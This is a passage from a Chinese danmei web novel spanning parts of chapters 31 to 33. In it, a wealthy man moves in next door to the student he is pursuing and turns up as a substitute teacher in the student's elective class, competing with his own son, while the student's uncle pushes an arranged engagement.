奚时很想ruarua他的脑袋安慰他,心说要怪就怪你爸去吧,要不是他的隐瞒,你就不会得到联姻的希望,也就不用因此失望。 “走吧。” 奚时说完了想说的话,负罪感减轻了一点。 想必这步霍思议也散不下去了,他干脆转头往来的地方走去,让霍思议自己安静一会。 “我不管!” 刚走出几步,霍思议忽然说:“你要是不跟我订婚,我就追你,在你有主之前,我不会放弃的。” 奚时:“…………” 你他妈! 这对父子,有毒吧。 奚时实在不知道怎么和霍思议说了,干脆直接装作没听到走了。 算了,管不着了,让这对父子内斗去吧。 奚时从早上出门到快九点了才回到家,整个人已经接近游魂状态了,几乎是飘回家的。 到了家门口,他正整备输入家门密码,邻居的房门“卡擦”一声打开了。 嗯?这么快就来新邻居了? 应该是之前的邻居东西还没搬完吧。 奚时跟邻居除了早上那通因堵路引起的对话,并不熟悉,平时见到了都不会打招呼,所以也没在意,继续输密码。 刚输入两个数字,邻居出声:“回来了。” 奚时吓了一大跳。 这特么是霍景沉的声音。 他转过头,就见到霍景沉倚着门框,抱臂而立。 霍景沉身上穿着昨天风衣里头那身西装马甲和衬衣,鼻梁上架着一副金丝边眼镜,镜片遮去了一些他的锋芒,倚墙而立的样子,禁欲又撩人,简直帅出了一个新的高度。 奚时心里骂了一声艹,霍景沉绝对是故意穿成这样□□他的! 而且,难怪早上邻居搬走时一副喜滋滋的样子,绝对不是什么租期到了,而是得了霍景沉的好处才搬离的。 奚时知道这时候应该不搭理他,应该傲慢地开门进去,留给他一个潇洒的背影。 但他嘴巴憋不住,阴阳怪气地说:“霍叔叔不愧是首富,什么都能用钱摆平。” 霍景沉坦然地说:“近水楼台先得月,为了得月,值得。” 嘁,老子一气之下过两天就搬走,让你得空气。 霍景沉目光落在他手上的小兔子玩偶上,眯缝了一下眼睛。 “霍思议送你的?” 奚时就气他,把玩偶贴在脸上,笑眯眯地说:“对呀,可爱吗?” 说完,奚时又补充了一句:“不过霍叔叔这个年纪,应该欣赏不来我们年轻人喜爱的东西吧。” 霍景沉已经调整好了心态,现在的老婆就是一只支棱着一身刺的小刺猬,怎么说呢,打是亲骂是爱,老婆还愿意刺他就是在意他。 奚时这点子的气话,根本不足以撩心机深沉的老男人生气。 可显然奚时又想看他被撩生气的样子。 霍景沉干脆上前几步,男人身材高大,压迫感十足,奚时被他衬得都快变成小小只了。 他被他霍景沉堵在门和身体之间,一下站直了身体。 “干什么?” 霍景沉垂眸看着睫毛乱颤的美人,附在他耳边,声音低沉:“我是欣赏不来你们年轻人的审美,但我能欣赏年轻的美人,你比兔子可爱多了,尤其是耳朵。” 说着,他张嘴在奚时耳垂上咬了一下。 奚时猛地推开他。 霍景沉像偷腥成功的猫,意味深长地摸了下嘴唇被奚时咬的已经结痂的伤口,说:“回去休息吧。” 回答他的是奚时“嘭”一声关门声。 奚时反锁上门,靠在门板上,揉着发烫的耳朵。 混蛋!必须跪50天搓衣板才原谅他。 第二天上午前两节没课,这对于起不来床的大学生而言,四舍五入就是今天没课。 奚时美滋滋地睡到九点多才起床洗漱出门。 今天打开门,门口又有东西。 可惜不是新邻居要搬家,而是一个餐盒,餐盒上写着四个大字:麻辣兔头。 是谁送的不言而喻了。 奚时:“……” 神金!幼稚! 他把餐盒提到邻居家门口去,刚放好,电梯门开了,他听到霍思远的声音:“你把会议推到下午,对,我要晚……” 霍思远的话说不下去了,他看到了阴恻恻站在外面的奚时。 霍思远“卧槽”了一声,赶紧伸手按关门键,他也是昨天被他小叔家管家找去问话,才知道奚时已经知道霍景沉身份了,听说奚时在此之前还答应了和霍思议联姻,霍思远眼前一黑。 作为唯一的知情人,霍思远感觉自己命不久矣。 可惜电梯门关的速度压根没奚时进来的速度快,等奚时一个大跨步走进来,电梯门才后知后觉地开始合上。 霍思远又想出去,但被奚时抓住了衣服。 “跑什么啊霍三少?是贵人多忘事不记得我了吗?”奚时阴阳怪气。 霍思远欲哭无泪,他昨天听管家忧心忡忡地说他小叔搬到了离公司有1.5个小时通勤的燕大附近,怀疑是他小叔和奚时和好了同居,但又觉得不大可能。 管家也不知道,霍景沉负责此事的助理又守口如瓶,霍思远也不敢过分探听。 他在管家指挥人把霍景沉要求的一些衣服运送到新住处时,偷偷看了运送单上的地址。 别说,还真是奚时那栋那层。 那他小叔的门牌号是9栋2602,他也忘记了奚时的是01还是02,更郁闷的是之前有奚时发的地址那手机,前几天和田苒出去玩时丢了,新手机没聊天记录。 所以霍思远决定偷偷来看一眼,他们是同居还是邻居对他来说很重要,决定他是死刑还是能抢救一下。 谁知,他都选这个他小叔去上班奚时去上课的时间过来了,怎么还是没避开。 霍思远立刻认怂:“小婶我错了。” 奚时反刍了一下,才反应过来霍思远说的小婶是什么意思,脸更黑了。 “你叫我什么?” “奚哥,奚哥,”霍思远识时务者为俊杰,狗腿地说,“奚哥我真不是故意瞒着你的,我要是敢跟你说,我小叔铁定削我啊。” 奚时:“意思是霍景沉威逼你不准说?” 霍思远:“” 这特么,怎么踩哪都是坑啊。 “当然不是,”霍思远立刻否认,“但是我小叔的事,我作为旁人,肯定不好插嘴对不对?” 奚时当然知道以霍景沉在霍家的地位,只要他自己不说出实情,霍思远肯定不敢说。 所以说到底还是霍景沉那混蛋的错! 这时电梯到了一楼,奚时走出电梯,见霍思远也跟出来,冷笑道:“看我笑话很爽吧,我说五系适合你工薪阶层的小叔时,内心嘲笑得多大声?” 霍思远要给奚时跪了。 他就知道,他小叔的身份一旦暴露,这些事情要被拿出来翻旧账。 “这个真没有,”霍思远恨不得指天发誓,“其实我当时是心里的想法是欣慰,对,欣慰!” 霍思远思路一下顺畅了。 “你看我小叔都这个年纪了还没对象,追求者一大堆,但无一例外都是贪图他的财富,只有你不是,你不但不图他财富,还怕他通勤不便给他买车,多好的对象啊,我特欣慰,觉得他终于找到真爱了。” 哼,都这样说! 肯定是串通好的说辞,哄他高兴的。 奚时把想要扬起来的嘴角压下去,说:“谁说我是真爱他了,我是贪图他的美色包养他的,50万一个月,我出钱他出色,根本没有爱情。” 霍思远:“” 霍思远:“???” 霍思远仿佛五雷轰顶,呆愣在原地。 其实在音乐会那次,他听到了奚时说包养他小叔之类的字眼,他只以为他小叔在玩一种很新的play。 没想到啊没想到,他小叔不仅装穷,还真的50万一个月出卖肉/体啊。 看着奚时迈着轻快的步子离开,霍思远捂住胸口。 完了,他这下又知道了一个了不得的秘密,要被他小叔灭口了。 他好难啊QAQ。 —— 奚时到了今天上课的教室门口,看到门口的走廊上,看到班上几个女生围着一个人说什么。 他从被围着的背影认出了此人是霍思议。 “学弟,你的学长来了。”看到奚时,班上一个女生捂嘴偷笑道。 她这么一嗓子,其他人纷纷转过头来,霍思议看到他,乖巧地叫人:“学长,上午好。” “好,”奚时感觉这些女同学看他的眼神怪怪的,问,“你在这里做什么?” 霍思议还没说话,一个女同学暧昧地说:“我们在围观学弟给你送早餐呢。” “爱心早餐。”另一个同学补充。 奚时无语住了:“你们别瞎起哄。” “哪里瞎起哄了,”那女生说着推了一下霍思议,“愣着干嘛,学长都在眼前了,上啊。” “就是,你不上,我们可要上了啊。” 霍思议于是把手中的早餐递给奚时,略显腼腆地说:“她们没瞎说,学长,我是来给你送早餐的。” 奚时见班上几个女生目光灼灼地看着他们,扶额:“我自己买了。” 霍思议立刻说:“那你以后不用买了,我帮你买,你可以多睡一会儿。” “顺便帮你学长占个座,据我观察,你学长喜欢靠窗的位置。” “哎哟,又是买早餐又是占座的,学长怕是很快会沦陷哦。” 奚时:“” 奚时无语地把霍思议拉离这群瞎起哄的人,到楼梯拐角处,才问霍思议:“我不是说了我没法跟你订婚么,你这是干什么?” “我也说了要追你呀,我看他们追对象都是从买早餐开始的,我以后也给学长买早餐。” “” 奚时无语,正要说什么,霍思议面色一变,说:“要上课了学长,我先走了,明天一早再给你送早餐。” 说着,霍思议冲他摆摆手,百米冲刺地跑了。 奚时只能头疼地回到教室,无视了门口几个用八卦的小眼神看他的女同学,找了个位置坐下。 真是草了个DJ的。 他上辈子一定是欠了姓霍的钱,这辈子才要被这对父子搞得头这么疼。 今天是周日,补周四的课,晚上有选修课,奚时忘带选修课的课本了,不得不回家一趟拿书。 回去的时候霍景沉那屋的门紧闭着,没有开门,麻辣兔头也还在上午他放的位置,可见霍景沉还没回来。 奚时开门进屋,把书包里白天上课的书拿出来,又把晚上选修课的书塞进去,等他出来时,刚巧电梯门开了,霍景沉从里面出来。 他应该刚下班回来,身上穿着板正的西装,奚时认出来是他一开始买给他那一套。 呵!这种商场货,他一个首富也穿得出去门! “碰到什么事了这么高兴?”霍景沉问道。 他哪里有高兴! 奚时把头一偏:“关你屁事!” 霍景沉堵在电梯门口不让他走,说:“我也要去燕大,等我一起。” 他去燕大干嘛? 哦,估计是找霍思议吧。 奚时:“我又不是去燕大。” 霍景沉闻言,皱了下眉:“那你去哪里?” “关你什么事,快让开。” 霍景沉也不可能不让人走,只能侧开身,眼睁睁地看着奚时走掉。 奚时一点没有欺骗了霍景沉的负担,直接进了燕大校门,往外国语学院走去。 他选修的课程是外国语学院的《商务英语口语》,选修课他都是奔着好过去的,他虽然没有去哪里留过学,但英语成绩一向不错,所以选了这门课程。 “学长,这里。” 奚时刚踏进教室,听到霍思议叫他的声音。 他抬眼扫去,看到霍思议在后面靠窗的位置,冲他招手。 好好好,真来给他占座了是吧。 奚时犹豫了一下,走过去,无奈地说:“你真不用帮我占座,我自己也来得挺早的。” 这会儿教室里还基本没人。 “没事呀学长,而且我晚上没课,刚好跟你一块听课,商务英语口语,说不定以后能派上用场呢。” “”奚时能说什么。 也不知道是哪个缺德到家的把他的课表给霍思议的! 不对,奚时忽然想起来霍景沉说也要来燕大,狐疑地看向霍思议:“你确定你今天没忘记什么事,比如有人来找你什么的。” “啊?”霍思议挠了挠头,“没有啊,为什么这样问啊学长。” 额难道霍景沉不是来找霍思议的。 不对,他来找谁管他屁事! “没什么。”奚时含糊地说。 一直快要到上课时间了,选修课的学生们才陆陆续续地来。 燕大的学生基本都很自觉,不会翘课,不过这个口语课的老师是个老外,脾气很温和,而且不点名,加上选修课不像专业课一样会被重视,所以还是翘掉了部分同学,偌大的教室显得有点空荡。 这时,上课铃响了,伴随着一阵“哒哒哒”皮鞋踩在地板上有节奏的响声,一个男人走进教室,站在讲台上。 原本还在小声讲话的教室瞬间安静了,连低头玩手机的学生都感到了不同寻常的气氛,抬头看讲台,也都呆住了。 因为,来人不是平时授课的那位大腹便便的老外,而是一位高大帅气,好看到像是哪个世界巨星的男人。 在一片死寂中,男人放下手中的课本,推了一下鼻梁上的金丝眼镜,先是扫了一圈教室里的人,在看到坐在一块的奚时和霍思议时,目光凝滞片刻。 不过他很快收回了目光,开口自我介绍,低沉的嗓音磁性好听。 “同学们好,我叫景沉,是《商务英语口语》这门课程的代课老师。” 奚时:“” 霍思议:“???” 这世界,终究是疯了。 这踏马,是什么品种的修罗场啊! 第32章 第 32 章 奚时从未设想过, 他们三个人,会这么快以这样子的方式,又一次见面。 霍思议甚至小声对奚时说:“学长, 你掐我一下,我看看是不是我还没睡醒, 不然怎么看到我爸了。” 奚时不想说话。 霍景沉好端端的, 忽然跑到燕大来代课, 还是代的他的选修课,目的不言而喻。 踏马, 能不能不要搞这么刺激的手段。 奚时心里有一万匹草泥马奔过去。 在互联网飞速发展的现在, 没有秘密是秘密, 外国语学院来了一位很帅的代课老师这事情,几乎像长了翅膀,飞速传播。 一节课45分钟时间,不断有人偷偷从后门溜进来,一睹这位代课老师的风采。 本来稀稀拉拉的教室, 在下课的时候,几乎满座了。 就……挺离谱的。 而且奚时发现, 霍景沉来代课, 并不是凭借着有钱私事公办,为所欲为。 估计是在外国留过学的原因,他的口语是真的好,一口伦敦腔性感至极。 而且商务英语对他来说完全是专业对口, 教起他们来毫无障碍。 甚至好不夸张地说, 他上课比那位外教还生动吸引人。 本来压根没选他们这课程, 纯属来凑热闹看帅哥的学生,不知不觉认真听了一节课。 这45分钟对于其他学生来说太快了, 但对于奚时来说漫长得很。 而且,霍思议似乎回味过来什么,脸色越来越黑。 下课铃响起,霍景沉几乎是掐着时间结束了这堂课,一秒钟没拖堂地说了下课。 难得的是,学生基本都没第一时间离开。 有的同学想上前搭讪他,但你推我搡片刻,怂恿他人上的有,敢付诸实践的一个也没。 毕竟霍景沉就是那种不怒自威自带慑人气场的人,又有了“老师”这个天生让人敬畏的身份加成,同学们好奇他,但又没人敢八卦他,只能眼睁睁地看着霍景沉拿着课本离开教室。 “学长,走,我们去问问他怎么回事。”霍思议见他爸离开了教室,对奚时说。 奚时:“……我不去。” “不行,他好端端的忽然跑来上课,肯定是针对你,我们去把事情问清楚了!看看他到底想干什么。” 他是想干我啊,奚时心说。 奚时想了想,很坚决地说:“我在这里等你。” 估计连霍景沉自己都没料到,霍思议今晚也在,奚时虽然有点幸灾乐祸,也很想看霍景沉怎么圆。 但他们父子间的争端他还是不参与了。 “那好吧,一定要等我噢!” “好。” 奚时当然会等他,他还要吃第一手瓜呢。 霍思议转身出去了,奚时拿出手机玩。 其他同学见帅哥老师走了,也都纷纷收拾书包走人,还在意犹未尽地讨论。 “这景沉到底是谁啊?好好奇啊。” “不知道啊,网上一点关于他的资料都搜不到哎。” “英语这么好,估计是刚回归的海龟吧,才搜不到资料。” …… 奚时知道应该是霍景沉提前对自己的信息做了处理,这些人才搜不到。 估计也是不想让外界知道,他堂堂首富,居然跑来大学代课。 而且他的名字,只要隐去一个姓,就不会让人把他和首富霍家联系到一起。 奚时想到自己被骗的日日夜夜,握拳微笑。 狗男人。 霍思议顺着刚刚霍景沉下课后走的方向,一路小跑追到了教师办公室。 大学教室旁边都设有办公室,供上课的老师课间休息,霍思议找了片刻,在一间挂着“景沉”牌子的办公室前停了下来。 好好好,果然是有预谋的,不然一个一周只来代一节课的老师,怎么会有专属办公室。 办公室里只有霍景沉一个人,霍思议不客气地直接走进去。 霍景沉对于他的到来一点不惊讶,只吐出两个字:“关门。” 霍思议关上门。 大孝子对于自家老爸还是挺尊重的,所以他语气还是很好地问:“爸,你为什么会来给学长的选修课代课,你是不是就是见不得我们在一起,想用挂科威胁他!” 霍景沉扯了下领带结,领带被他拉松,松松垮垮地挂在脖子上。 他语气淡淡:“你觉得我要威胁你们分开,需要这么曲折迂回?” “那你好端端地干嘛跑来教书,别说你是想更多地了解学长人品适不适合做你儿媳妇,所以想借机观察他。” “你想太多了,”霍景沉解开一颗衬衣扣子透气,轻描淡写地丢下一颗重磅炸/弹,“我是在给自己制造机会,追奚时。” 霍思议呆愣了足足五秒钟,才反应过来他爸在说什么。 震惊,不可置信,茫然,愤怒等等一系列表情在他脸上划过,微表情精彩得可以纳入北影教材。 半晌,他才找回自己的声音,愤怒地道:“爸,你要不要听一下自己在讲什么!他是你儿媳妇,你怎么能……能这么禽兽!” 禽兽? 霍景沉听笑了。 他目光沉沉地看着自家这个比他小不了几岁的儿子,说:“他不是我的儿媳妇,我跟他在你之前,有过一段,论先来后到,是你不孝。” 以前霍景沉不跟霍思议说,是觉得自己被一个大学生包养这种事情,丢了身为父亲的面子和尊严。 但现在,老婆都要被儿子拐跑了,还需要面子和尊严干什么! 天知道他刚刚走进课堂时,看到奚时和霍思议坐在一张课桌上上课,心里有多嫉妒。 帅哥配美男,多青涩美好的校园之恋。 他和奚时终究是差了辈分,没办法像他们这样来段校园之恋,更没法甜蜜地坐在一起上课写作业。 他给了自己三个月的时间把奚时抢回来,原本足够自信,看到这一幕,也动摇了。 所以,去他妈的尊严面子,他要让霍思议知道自己的情敌是谁,知难而退。 霍思议好不容易生动起来的表情又空白了。 奚时居然跟他爸谈过?! 他如遭雷击,但又好似恍然大悟,仿佛一切都说得通了。 比如,前两天奚时去他家时,推着他爸往门外走,这个行为现在想想怪得很,但当时他一点都没追究原因。 还有他爸对待他们订婚的态度。 他明明对后辈的婚姻很宽容,却独独卡他。 明明学长那么优秀。 还有昨天奚时跟他说的,没办法跟他联姻。 现在看来,是因为发现了他爸是自己的前任,所以才没办法跟他联姻。 霍景沉观察他神色,知道他已经把自己刚刚那句话消化掉了,伸脚勾了一张椅子坐下,解开衣服扣子,大马金刀地靠坐在椅子上,开始以势压人。 “所以,他是我的,以前我不计较,以后不准再提跟他订婚的事。” 霍思议还是有点怵他爸的,缩了下脖子。 原来是他禽兽,居然追求了自己的小后妈? 不对,不是这样的。 作为燕大TOP1专业法学系的学生,霍思议很聪明,立刻从蛛丝马迹中得出,他爸怕是做了对不起奚时的事情,才会变成前任,现在又巴巴地想把人追回来,才千方百计跑来当奚时选修课的代课老师。 以奚时对他的态度,恐怕也是追妻之路漫漫,优势还不如他。 起码他近水楼台,每天都能见到学长。 而且,他比他爸年轻,长相方面也应该不遑多让,和奚时还有都喜欢打篮球的共同爱好,机会比他爸大多了。 霍思议很快缕清了思路,立刻直起了腰。 “他怎么就是你的了?你也说了是追学长,我凭什么要退出,情场无父子,咱公平竞争!” 对于霍思议这番宣言,霍景沉给出四个字:“不自量力。” “那可不好说,据我观察,学长抗拒不了我这种类型的,还会情不自禁摸我头。” 摸!头! 那不就跟他摸奚时头一样的情景么! 老婆好可爱,摸摸头,老婆好乖,摸摸头。 霍景沉拳头硬了。 本来霍景沉觉得跟霍思议把他跟奚时的关系坦白,让他明白他想追的是自己后妈,纯属禁忌,他就会知难而退。 毕竟连喜欢的人的小手都不敢摸的纯情男大,干脆去幼儿园那桌竞争得了。 但他差点忘了,奚时可是主动型的! 今天摸头,明天就要摸腹肌了! 到后天,说不定就用他教的手段摸男人最好摸的地方! 他跟奚时的第一次,不就是这样的。 霍思议见把自己老爹的面色说沉了,丢下一句“你有本事就让我改口叫妈,没本事以后就别肖想自己儿媳妇”,跑路了。 不跑怕被打。 霍景沉:“……” 好好好,真是个大孝子。 奚时坐在教室里玩了十几分钟的手机,霍思议就回来了。 看他脸色,还行,不像是吵起来了。 奚时松了一口气。 “走吧,学长,我送你回去。”霍思议说。 奚时急于知道八卦,没有拒绝,背起书包,跟他一块走出教室。 这会儿来上选修课的学生都走了,这栋楼已经空荡荡的了。 奚时不用避开人,直接问:“你们聊了什么?” 霍思议心情很好,说:“原来学长不跟我订婚,是因为跟我爸谈过吗?” 奚时:“???” 奚时大吃一惊:“你都知道了?” “是啊,我爸跟我说了。” 奚时心里那个震惊,他以为霍景沉没脸说出口呢。 看来高估他的脸皮了。 霍思议:“而且,我已经正式跟我的爸宣布了要公平竞争,所以学长,你不能不准我追求你了哦。” 奚时:“……” 这他妈,都是什么事啊。 这对父子有毒吧。 霍思议可能是受了霍景沉的刺激,硬要把他送家门口。 “好了,学长,你进去吧,晚安。” 霍思议心情很好地冲奚时道别。 哼,他能天天给奚时带早餐,占位,送他回宿舍,他爸能吗? 他们家离这里一个多小时车程,堵车更久,他爸又忙,跟奚时一周估计也就代课这一天见一下。 等他下次过来,说不定天早变了。 奚时刚输入家门密码,想到什么,手握在门把手上,回头对杵在那里的霍思议说:“不早了,你也回去吧。” “我等学长进去再走。” “我刚刚听到你肚子咕噜咕噜叫了两次,趁着还早,你赶紧去买点夜宵吧。” “……” 霍思议的脸“腾”一下红了:“那那那,那我先走了,学长晚安。” “晚安。” 奚时目送霍思议离开,微微叹了口气,也是拿他没办法。 好像除非他和霍景沉在一起,不然这孩子都不会死心的样子。 说到霍景沉,奚时目光瞟向隔壁紧闭的门,心有灵犀似的,隔壁的门开了。 霍景沉从里面走出来,他也不知道什么时候到家的,这会儿连澡都冲完了,全身上下只在腰上围了一条浴巾,身上流畅的肌肉线条一览无遗。 胸肌,腹肌,无处安放的大长腿…… 真他妈诱人。 奚时内心忍不住斯哈斯哈。 这时候多希望霍景沉是哪个夜店的牛郎,他只要花钱就可以连摸带嫖。 奚时艰难挪开恨不得胶在霍景沉身上的视线,甩了甩满脑子的黄色废料,开口就是老阴阳人了。 “哟,这不是燕大新晋男神景老师么?” 霍景沉抿了下唇,长了记性,老实交代:“我跟霍思议把我们的事情说开了。” 奚时已经知道了这事情,不冷不热地说:“他有知情权,你用不着跟我一个外人打报告。” 霍景沉被外人两个字刺得心肝脾肺肾都疼。 该死的,迟早把他变内人。 奚时不想大半夜跟一个半果男站这里不盖棉被纯聊天,容易上火流鼻血,见霍景沉被他堵得哑口无言的样子,心情愉快,重新输入门密码。 刚拧开门把手,听到霍景沉说:“等等。” 奚时反手又把门重新带上了。 多看几眼也不是不行。 “干什么?” 霍景沉开口就是一坛浓醋:“从燕大外国语学院回来,步行只要10分钟,你跟霍思议整整用了28分钟!” 奚时:“???” 他之前跟霍思议还一起玩游戏吃饭四舍五入等于约会呢,也没见霍景沉这么计较,怎么就跟霍思议多走了18分钟路就开始发疯了。 哼,下次故意墨迹一个小时,疯死他算了。 奚时压住仿佛有自己想法想要上天的眼角眉梢,再次说出那句台词:“你有病!” 霍景沉点点头:“我不仅有病,还病得不轻,只要一天没追到老婆,我就会持续发病。” 今天霍思议那话彻底戳中了霍景沉的敏感肌。 他占有欲上来,想把大孝子挂咸鱼上卖掉。 还想把老婆囚禁在谁也看不到的小黑屋。 霍景沉平时表现得一副温和样子,甚至会给人这首富怎么这么平易近人好说话,只有他自己知道,他有阴暗的一面,疯得很。 并且好像在爱情领域,被彻底激发。 第33章 第 33 章 奚时从霍景沉深邃的目光中, 感受到了他内心掩盖不住的浓浓占有欲。 该死,这不是他哥。 还他/妈生温柔老男人! 更该死的是,这样子的霍景沉更吸引人了。 不能再看了, 再看真要流鼻血了。 他冷酷地打开家门,说:“你要老婆去老婆饼里找, 我这里没有。” 说着, 他走进去关上家门。 霍景沉那病是脑子里的, 无药可医。 不过奚时他婶婶倒是真病了,这几天气温骤降, 直接感冒发烧到干进医院了。 周二下午没课, 奚时去医院看她。 跑车出门太闹腾了, 他之前给霍景沉开的那辆帕拉梅拉,在霍景沉出差前,就被他开回来了,不过被他停在了他自己的家里,所以奚时选择打车去。 去的路上, 奚时收到了他投资那个小程序游戏工作室的财务给他发这个国庆的流水报表。 根据能量守恒定律,情场失意, 职场就会得意。 国庆是他们那个游戏发行的三周年庆, 推出了一波活动,割韭菜割得盆满钵满,奚时看到报表上面的零时,觉得腰杆子都直了。 难怪霍景沉平时走路昂首挺胸的, 原来是被丰厚的金钱撑的。 而且, 游戏工作室由于请了那位程序大牛, 攻克了难题后,APP开发进度突飞猛进, 很快就能迎来内侧。 到时候又是一波大韭菜。 想想就有点小激动呢。 奚时在医院门口买了一束鲜花,找到婶婶所在的病房。 病房里除了婶婶、叔叔和护工,没有其他人,不过一堆的果篮礼品,看来有不少人来看过。 奚时把鲜花放在床头,问道:“婶,怎么样了?” “就是流感,没什么大碍,”奚夫人看他的目光慈爱和蔼,“辛苦你抽空走一趟了。” “我过来很近,”奚时说着,拿起旁边篮子里的一颗苹果,说,“感冒了要多补充维生素,我给您削个苹果吧。” “这种事情哪里需要你做,让护工削吧。” 奚锦年开口说,又从口袋里拿出一张银行卡,说:“这个给你。” 奚时只好把苹果递给护工,接过奚锦年手上的卡看了一眼,发现是一张不限额度的信用卡。 奚锦年的个人财产有专门的理财师打理,给他和奚玥的生活费都是每个月固定时间由理财师打到固定的银行卡上,金额也都一样。 这个额度属于能让他拥有富足的生活,又不足以随意挥霍。 表面上,奚玥也是如此,他们享受着一样的待遇。 但奚时知道奚玥有一张额度很大的信用卡,花钱其实并不受奚锦年给多少的影响。 对此奚时没有任何异议,奚锦年对他已经很好了,他没那么多贪念。 而且他还有个堂哥,没钱了管他要,不管多少,他二话不说就会打奚时卡里。 奚时已经很满足了。 所以,奚时不是很理解奚锦年为什么要给他这个。 他直接问:“这是要我帮忙带给奚玥吗?” 这是他唯一能想出来的理由了。 奚锦年脸上闪过一丝尴尬。 “不是,是给你的,你跟霍思议交往,不能在钱方面丢了面子,该花的钱要舍得花,不要让霍思议看轻了你。” 原来是这样啊。 奚时有点好笑。 有了首富之子做对象,生活费不减反增,到了可以随意挥霍的地步。 真是应了那句话,生的好不如嫁得好。 “不用了,我们都在学校,花不了多少钱。” 奚时想把卡递回去,奚锦年语气坚决地说:“拿着,备不时之需也好。” “是啊,你就拿着吧,”奚夫人也说,“你们的婚约也要早点订,以防拖久了有变故。” 奚时抿了下唇,又听到他叔说:“我跟你婶商量了一下,下周一是我们结婚30周年,我们打算在这周日办一个珍珠婚宴,到时候请霍思议,还有他父亲霍家主过来,两家认认脸,顺便商议一下订婚事宜,你看怎么样?” “……”一点都不怎么样。 奚时脑袋都大了。 他本来还不想那么快跟他们说不和霍思议订婚的事情,毕竟现在这形式,他也说不好以后会怎么样,没必要实时汇报,变来变去。 但珍珠婚宴这事情直接把他架了起来。 那就不得不坦白了。 奚时看了眼正在挂水的婶婶,没有立刻拒绝,含糊地说:“我回头问问吧。” 说着,他又对奚锦年说:“叔,让婶休息吧,我们去外面,我有点事跟你说。” “行。” 奚锦年把他带到了隔壁的休息室,他们在的这个是给有钱人提供优质服务的私人医院,家属也有专门的休息室。 关上门后,奚时直接说:“叔,我不打算跟霍思议订婚了。” “什么?”奚锦年怀疑自己听错了。 奚时也觉得这样子挺对不住叔叔的,但是事情还是得说清楚。 “抱歉叔,发生了一些事情,我不能和霍思议订婚。” 奚时说这话时心里其实挺愧疚的,毕竟这桩婚约如果成了,奚家说是一步登天也不为过。 他给了叔叔他们希望,又要亲手摧毁,挺残忍的。 他又补充说:“我自己投资了点项目,以后您不用给我打生活费了。” “所以是什么原因不能订婚,是他主动提的,明确跟你说了吗?”奚锦年紧追不放。 奚时抿唇:“是我觉得不合适。” “你知道个屁的不合适!”奚锦年忽然一巴掌重重拍在桌子上,声音带着薄怒。 “你说不想和心不在你身上的邵寻联姻,行,我不阻止,你不喜欢何天顺,我也没逼过你,霍思议是你自己找的,你现在又跟我说不合适,奚时,你自己想想有理吗?” 奚时垂下眼眸。 “对不起叔。” “不用跟我说对不起,”奚锦年深吸一口气,“你只要回答我,不订婚是你提的,对吧?” 奚时犹豫了一下,“嗯”了一声。 “是这样就行,这件事没得商量,我不管你什么原因,这婚约必须定下来。” 奚时还要说什么,奚锦年一抬手打断他。 “不用说了,我已经亲自给霍家下了帖子,邀请霍家主和霍公子下周五来参宴,顺便商议订婚事宜,这会儿霍家主应该已经收到了,你要是想反悔,就自己找霍家主说去吧。” 奚时:“……” 啊这? 不是,谁教你们这样先斩后奏的! 这操作……一个字,绝。 奚时张了张嘴,想说什么,但已经不知道说什么好了。 他们是真会把自己往霍景沉手上送啊。 既然不知道说什么,奚时也懒得说了,让霍景沉处理去吧。 他甚至还有点期待霍景沉的反应。 该死,为什么不能在霍景沉脸上安个监控,要是能看到他第一时间的反应,他都不知道自己会是个多么开朗的大学生。 奚锦年放完狠话,又有点后悔。 他缓和了语气,说:“这件事情我不是针对你,就算是玥玥,我也会强逼她的,一切都以家族兴盛为先,我希望你明白。” 奚时“哦”了一声。 奚锦年该说的都说了,转身出去,临走前拍了拍奚时的肩膀。 “小时,叔一直把你当成亲儿子,别让叔失望。” —— 霍景沉是在公司看到请柬的。 霍景沉作为霍家家主,尽管他基本不出席那些乱七八糟的酒会聚会豪门盛宴,但每天依旧会有无数的请柬纷飞而至。 这些请柬都是管家负责的,他会挑选一些比较重要的出来,放在霍景沉的书桌上。 当然,霍景沉从来没有翻开过。 他就是不去这些地方交际,也撼动不了他现在的地位。 首富就是这么狂。 看到奚家这封请柬时,管家的手是抖的,心是凉的。 这算不算另一种形式的虐待他这个老人? 这封请柬是写给霍景沉和霍思议的,请他们过去参加珍珠婚宴的同时,商定霍思议和奚时婚约,管家在家主和少爷之间犹豫了一下,还是让人把请柬送去霍景沉的公司。 不是他向着霍景沉,是霍思议对自己的婚事没有主动权,怎么都得过霍景沉这一关。 霍景沉一目十行地看完了请柬内容,给他气笑了他妈的。 奚时这叔叔婶婶胃口还挺大,谈订婚事宜不是选个好日子,邀请他们过去好好谈,而是妄想他们出席他的珍珠婚宴,顺便谈。 燕京豪门圈谁不知道,霍景沉从不出席这些乱七八糟的宴会。 要是真出席了他们这个宴会,那都不是长脸,连带屁股都给他们涨了。 霍景沉的目光落在请柬末尾的订婚两个字上,几乎要把那两个字灼穿。 好好好,他正因为老婆追不到儿子大不孝烦得很,就有撒气桶送上门了。 能让奚时跟邵寻那种除了家世浑身上下找不到一个优点的丑东西订婚的,肯定不是什么好家长。 既然奚家这么不懂规矩,连选日子都不会,他不介意他来选这个日子。 他按了下办公桌上的座机,接通内线,叫何昼来一趟他的办公室。 何昼是霍景沉的私人助理,就是负责处理霍景沉一切私人事件的牛马助理,薪水很高,干的活有时候很草。 “霍总,您找我什么事?” 霍景沉把请柬扔到办公桌上,说:“你去给写请柬的人回信,就说,我对此事很重视,约他们……。” 霍景沉瞥了眼桌上的日历,想了下自己最近的行程。 “后天下午来霍家做客,详谈。” “好的霍总。” 何昼收起桌上的请柬,看了一眼,看到上面的字时,感受是和管家一样一样的。 作为牛马秘书,他负责处理霍景沉一切私事,自然清楚自家老板和奚时的事情。 清楚到就差清楚他们用几个套了。 详谈?谈什么? 何昼不敢往下想。 不过有些事情还是要问的:“需要给少爷请假,通知少爷回来吗?” 霍景沉冷冷地说:“你要是想看我弑子的话,可以试试。” 何昼默默缩了下脖子:“我懂了霍总。” 他说着正要出去,又听到霍景沉说:“跟他们说,也不用带奚时,他们一家三口整整齐齐地来就行了。” “是。” 奚锦年当晚就收到了来自何昼的消息,简直要喜出望外。 果然他的决定是没错的,要不是他事先给霍家主发了邀请函,任凭奚时在那里任性妄为地说不订婚酒不订了,他们怎么攀得上这么棵大树。 只是,霍家主说的不要让奚时回去这点有点怪。 “有什么奇怪的,”奚夫人已经听了奚锦年说奚时又要悔婚的事情,说,“肯定是奚时跟霍思议说了不愿意联姻,但霍思议又太喜欢奚时,所以霍家主要跟我们同样来一招先斩后奏呗,等把婚事订下去,消息散出去,奚时再不愿意也没办法了。” 